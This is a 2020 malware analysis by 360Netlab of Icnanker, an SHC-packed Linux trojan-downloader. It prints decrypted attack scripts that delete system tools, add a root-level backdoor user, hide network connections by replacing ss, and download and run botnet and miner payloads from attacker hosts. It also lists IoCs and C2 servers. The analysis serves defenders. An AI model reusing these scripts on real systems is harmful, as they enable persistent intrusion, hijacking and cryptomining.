

Icnanker, a Linux Trojan-Downloader Protected by SHC

By Alex.Turing

Published: 2020-03-23 · Archived: 2026-04-06 01:29:53 UTC

Background

On August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes "SHC (Shell script compiler)" technique and propagates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.












On March 12, 2020, IntezerLab twittered about a [Icnanker](#) variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.

Overview

Icnanker is the first Linux malware family we observed that uses [SHC](#). Its name is derived from the author's ID "by icnanker" in the script.

The current Icnanker samples can be divided into 2 categories according to their functions:

- Protector
Protector is used to protect samples from being deleted. It is currently used to protect Mining service.
- Downloader
Downloader is mainly used to facilitate DDos and Mining attacks. Currently its samples include Elknot Botnet, Xor Botnet and XMRMiner. On Icnanker-related HFS servers, we can see that the current download volume is at 20,114, and about 500 increment per day.

Name .extension	Size	Timestamp	Hits
 .ds1	289.28 KB	2019/12/2 21:16:49	20114
 .ds2	289.28 KB	2019/12/2 21:16:49	46
 19880	676.05 KB	2019/9/15 21:35:11	141
 gl.tar	1.46 MB	2020/2/4 17:35:22	109
 gw.tar	1.46 MB	2020/2/4 17:32:47	184
 htrdps	1.17 MB	2019/9/15 21:37:24	4214
 kcompact0	1.17 MB	2019/10/5 21:44:04	70
 mr.tar	1.46 MB	2020/2/4 17:37:51	129
 sh	877.99 KB	2020/3/12 4:36:15	145
 ss	344.46 KB	2019/9/15 22:34:43	44
 ssh	676.58 KB	2019/10/5 23:19:39	56

Downloader
Contains Protector

The main functions of Downloader are:

- Persistence
- Hide itself
- Delete system command
- Add new users
- Download and execute specific samples

Reverse analysis

Let's take a look at the following two samples.

187fa428ed44f006df0c8232be4a6e4e Miner Protector,

5790dedae465994d179c63782e51bac1 Elknot Botnet Downloader.

MD5:5790dedae465994d179c63782e51bac1

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped

Packer: No

Verdict:Malicious,Downloader

187fa428ed44f006df0c8232be4a6e4e

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

Packer:No

Verdict:Malicious,Protector

We know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform, there is an open source "SHC (Shell script compiler)" that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times, and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC.

```

sub_8048E99(&unk_80F12ED, 256);
rc4_dec(&unk_80ED087, 42);
rc4_dec(&byte_80ED0DF, 1);
if ( byte_80ED0DF )
{
    v2 = sub_804E7A0(&byte_80ED0DF);
    if ( (signed __int64)_PAIR_(v3, v2) < (signed int)
        return &unk_80ED087;
}
rc4_dec(&unk_80ED0F6, 8);
rc4_dec(&byte_80ED100, 3);
rc4_dec(&byte_80ED0CE, 15);
rc4_dec(&byte_80F1408, 1);
rc4_dec(&unk_80ED0B3, 22);
sub_8048E99(&unk_80ED0B3, 22);
rc4_dec(&unk_80F1296, 22);
if ( sub_8048250(&unk_80ED0B3, &unk_80F1296, 22) )
    return &unk_80ED0B3;
v17 = sub_8049119(a1);
rc4_dec(&unk_80ED0E2, 19);
if ( v17 < 0 )
    return &unk_80ED0E2;
v18 = (int *)sub_805B940(a1 + 10, 4);
if ( !v18 )
    return 0;
if ( v17 )
{
    rc4_dec(&byte_80ED0FE, 1);
    if ( !byte_80ED0FE && sub_8049020(&unk_80ED0F6) )
        return &unk_80ED0F6;
    rc4_dec(&byte_80ED0FF, 1);
    rc4_dec(&unk_80ED78C, 12966);
    rc4_dec(&unk_80F1280, 19);
    sub_8048E99(&unk_80F1280, 19);
    rc4_dec(&unk_80F12B1, 19);
}

```

Direct	Ty	Address	Text
...	p	sub_80493DF+38	call rc4_dec
...	p	sub_80493DF+4C	call rc4_dec
...	p	sub_80493DF+9E	call rc4_dec
...	p	sub_80493DF+B2	call rc4_dec
...	p	sub_80493DF+C6	call rc4_dec
...	p	sub_80493DF+DA	call rc4_dec
...	p	sub_80493DF+EE	call rc4_dec
...	p	sub_80493DF+116	call rc4_dec
...	p	sub_80493DF+162	call rc4_dec
...	p	sub_80493DF+1B9	call rc4_dec
...	p	sub_80493DF+1F2	call rc4_dec
...	p	sub_80493DF+206	call rc4_dec
...	p	sub_80493DF+21A	call rc4_dec
...	p	sub_80493DF+242	call rc4_dec

sub_80493df

Line 14 of 14

OK Cancel

As mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use [UnSHc](#) to directly decrypt the script)

```

[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
    [0] Working with var address at offset [0x80ed087] (0x2a bytes)
    [1] Working with var address at offset [0x80ed0df] (0x1 bytes)
    .....
    [12] Working with var address at offset [0x80f1280] (0x13 bytes)
    [13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
    [+] PWD address found : [0x80f12ed]
    [+] PWD size found : [0x100]

```

```
[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!

.....

[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!
```

Protector (187fa428ed44f006df0c8232be4a6e4e.sh)

```
#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0
```

In this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located, is protected, and the immutable attribute is enabled to prevent from being deleted.

Downloader (5790dedae465994d179c63782e51bac1.sh)

```
- - - - - from 5790dedae465994d179c63782e51bac1.sh - - - - -
.....
echo "byicnanker 2228668564" > $Config
```

```
tempfile=`cat $Config | awk '{print $1}'`  
filetemp="/usr/bin/$tempfile" #现马的路径  
filename=`date +%s%N | md5sum | head -c 10`  
filepath="/usr/bin/$filename" #新马的路径  
tempbash=`cat $Config | awk '{print $2}'`  
bashtemp="/usr/bin/$tempbash" #现脚本路径  
bashname=`date +%s%N | md5sum | head -c 10`  
bashpath="/usr/bin/$bashname" #新脚本路径  
.....
```

This section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.

Since the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.

- Persistence, self-starting via re.local.

```
# by icnanker -----  
Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`  
if [ $Repeatstart != 1 ];then  
    lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local  
fi  
if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then  
    if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then  
        lockr -i /etc/rc.local;lockr -i /etc/rc.local  
        echo "$bashpath start" >> /etc/rc.local  
    else  
        lockr -i /etc/rc.local;lockr -i /etc/rc.local  
        sed -i "s|exit 0|$bashpath start|" /etc/rc.local  
        echo "exit 0">>/etc/rc.local  
    fi  
fi
```

- Self-hiding , so that management tools such as ss, ps, netstat cannot detect the process and network connections related to the sample.

```
if [ -f /bin/ss ];then  
    if [ ! -f "$iss" ];then  
        if [ ! -f "$issbak" ];then  
            lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/  
            cp -f /bin/ss $issbak  
            cp -f /bin/ss $iss  
        else  
            cp -f $issbak $iss  
        fi  
        chmod 777 $iss;chmod 777 $issbak  
        lockr +i $issbak >/dev/null 2>&1  
        lockr +i $iss >/dev/null 2>&1  
    else  
        if [ ! -f "$issbak" ];then
```

```
        lockr -i /usr/bin;cp -f $iss $issbak
        lockr +i $issbak >/dev/null 2>&1
    fi
    if [ -z "`cat /bin/ss | grep $Address`" ]; then
        lockr -i /bin;lockr -i /bin/ss
        echo '#!/bin/sh' > /bin/ss
        echo 'iss|grep -v "$Address"' >> /bin/ss
        echo 'exit' >> /bin/ss
        chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
    fi
fi
```

- Delete some system files to increase the difficulty for repair.

```
lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr
```

- Add new user (ntps) to facilitate subsequent control of the victim's machine

```
# by icnanker -----
if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
    lockr -i /etc;lockr -i /etc/passwd #ntps
    echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
    lockr -i /etc;lockr +i /etc/passwd >/dev/null 2>&1
fi
if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
    lockr -i /etc;lockr -i /etc/shadow #tianyong
    echo 'ntps:$6$J6RdL6Xh$udhpd5iEr0xYzSERCi0N0toXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp90hrii90.4NnxqG/h.:1
    lockr -i /etc;lockr +i /etc/shadow >/dev/null 2>&1
fi
```

- Download and execute specific samples, here it downloads the Elknot Botnet.

```
# by icnanker -----
iptables=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
if [ -z "$iptables" ];then
    iptables -I INPUT -s $Address -j ACCEPT
else
    iptables -D INPUT -s $Address -j DROP
fi
process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
if [ $process != 1 ];then
    if [ ! -f "$filebak" ];then
```

```
lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
cd $path;mv -f /usr/bin/htrdpm $filepath
else
    cp -f $filebak $filepath
fi
Runkillallconnect
chmod 777 $filepath
nohup $filepath >/dev/null 2>&1 &
fi
```

At this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly. At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts.

Take the **Elknot and Miner** as examples

```
elknot

ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
    lockr -i /etc/;lockr -i /etc/resolv.conf
    echo 'nameserver 114.114.114.114' > /etc/resolv.conf
    echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
    echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
    lockr +i /etc/resolv.conf >/dev/null 2>&1
    service network restart;sleep 1
    Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
    Address="$ResolveIP"
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm

-----VS-----

miner

ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
    lockr -i /etc/;lockr -i /etc/resolv.conf
    echo 'nameserver 114.114.114.114' > /etc/resolv.conf
    echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
    echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
    lockr +i /etc/resolv.conf >/dev/null 2>&1
    service network restart;sleep 1
    Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
    Address="$ResolveIP"
```

fi

dget http[://xz.jave.xyz:22345/.xm

Here is a list of Downloader and theirs services currently we observed.

filename	md5	payload type	payload url
80	5790dedae465994d179c63782e51bac1	elknot botnet	http[://hfs.ubtv.xyz:22345/htrdpm
.ds1;.ds2	6abe83ee8481b5ce0894d837eabb41df	miner	http[://xz.jave.xyz:22345/.xm
.ssh	89cd1ebfa5757dca1286fd925e0762de	elknot botnet	http[://hfs.ubtv.xyz:22345/htrdpm
19880	d989e81c4eb23c1e701024ed26f55849	elknot botnet	http[://hfs.ubtv.xyz:22345/htrdps

Icnanker's distributed samples

Icnanker's distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.

- Elknot Botnet

filename	md5	c2
htrdps	5c90bfbae5c030da91c9054ecb3194b6	ubt.ubtv.xyz:19880, jav.jave.xyz:6001
kcompact0	eec19f1639871b6e6356e7ee05db8a94	sys.jave.xyz:1764, jav.jave.xyz:6001

- Xor.DDoS Botnet

filename	md5	c2
ss	0764da93868218d6ae999ed7bd66a98e	8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987

- Miner

filename	md5	c2
sh	17ac3bd2753b900367cb9ee4068fe0c1	
.xm	765a0899cb87400e8a27ab572f3cdd61	

Suggestions

We recommend that users watch for the clues we mentioned above and block the C2 on their networks,

We also suggest strong login credentials should always be enforced.

Readers are always welcomed to reach us on [twitter](#), or email to netlab at 360 dot cn.

IoC list

Sample MD5

```
5790dedae465994d179c63782e51bac1  
6abe83ee8481b5ce0894d837eabb41df  
89cd1ebfa5757dca1286fd925e0762de  
d989e81c4eb23c1e701024ed26f55849  
5c90bfbae5c030da91c9054ecb3194b6  
eec19f1639871b6e6356e7ee05db8a94  
0764da93868218d6ae999ed7bd66a98e  
17ac3bd2753b900367cb9ee4068fe0c1  
765a0899cb87400e8a27ab572f3cdd61  
187fa428ed44f006df0c8232be4a6e4e
```

CC

```
ubt.ubtv.xyz:19880 #Elknot  
sys.jave.xyz:1764 #Elknot  
jav.jave.xyz:6001 #Elknot  
8uch.jave.xyz:3478 #Xor.DDoS  
8uc1.jave.xyz:1987 #Xor.DDoS  
8uc2.ubtv.xyz:2987 #Xor.DDoS  
xz.jave.xyz:22345 #Icnanker HFS
```

Source: <https://blog.netlab.360.com/icnanker-trojan-downloader-shc-en/>